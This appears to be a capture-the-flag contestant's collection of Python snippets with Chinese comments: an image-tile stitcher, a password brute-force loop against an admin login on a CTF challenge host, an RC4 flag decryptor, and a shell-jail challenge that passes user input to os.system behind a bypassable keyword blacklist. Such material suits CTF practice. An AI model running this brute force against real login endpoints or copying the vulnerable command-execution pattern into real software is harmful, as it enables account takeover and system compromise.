from PIL import Image
import os

# 设置路径
folder = 'tiles'

# 获取所有 tile_x_y.png 文件
tiles = [f for f in os.listdir(folder) if f.startswith("tile_") and f.endswith(".png")]

# 排序确保正确顺序：tile_row_col.png
# 我们可以根据文件名中的 row 和 col 数字排序
def tile_key(fname):
    parts = fname.replace("tile_", "").replace(".png", "").split("_")
    return int(parts[0]), int(parts[1])

tiles.sort(key=tile_key)

# 打开第一张图片获取宽高
first_tile = Image.open(os.path.join(folder, tiles[0]))
tile_width, tile_height = first_tile.size

# 假设是 10x10 网格布局
rows = 10
cols = 10

# 创建空白大图像
final_image = Image.new('RGBA', (cols * tile_width, rows * tile_height))

# 逐个加载并粘贴图片
for idx, tile_file in enumerate(tiles):
    img = Image.open(os.path.join(folder, tile_file))
    row = idx // cols
    col = idx % cols
    final_image.paste(img, (col * tile_width, row * tile_height))

# 保存最终图像
output_path = 'final_map.png'
final_image.save(output_path)

print(f"拼接完成，已保存为: {output_path}")

import requests

url = "http://node12.anna.nssctf.cn:23792/api/login"
username = "admin"
rememberMe = False
password_file = "pass.txt"

with open(password_file, "r", encoding="utf-8") as f:
    for line in f:
        password = line.strip()

        data = {
            "username": username,
            "password": password,
            "rememberMe": rememberMe
        }

        try:
            print(f"[+] 尝试密码: {password}")
            response = requests.post(url, json=data, timeout=5)

            if response.status_code == 200:
                print(f"[!] 登录成功！密码是：{password}")
                print(response.text)
                break
            else:
                print(f"[-] 登录失败，状态码: {response.status_code}")
                print(response.text)
        except Exception as e:
            print(f"[ERROR] 请求异常: {e}")

def rc4(key, data):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        keystream = S[t]
        decrypted = keystream ^ data[k] ^ 0x20  # 这里有个异或 0x20
        result.append(decrypted)
    return bytes(result)

# RC4 密钥
key = "FenKey!!"

# RC4 密文（来自 s2）
s2_data = bytes.fromhex(
    '78cc4e1331f47349'
    '4f6c4f73c0f4357e'
    'ce27764d19607aea'
    '445dc04281da1cf6'
    '647258d994faf813'
)

flag = rc4(key, s2_data)
print(flag.decode('utf-8', errors='replace'))

#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)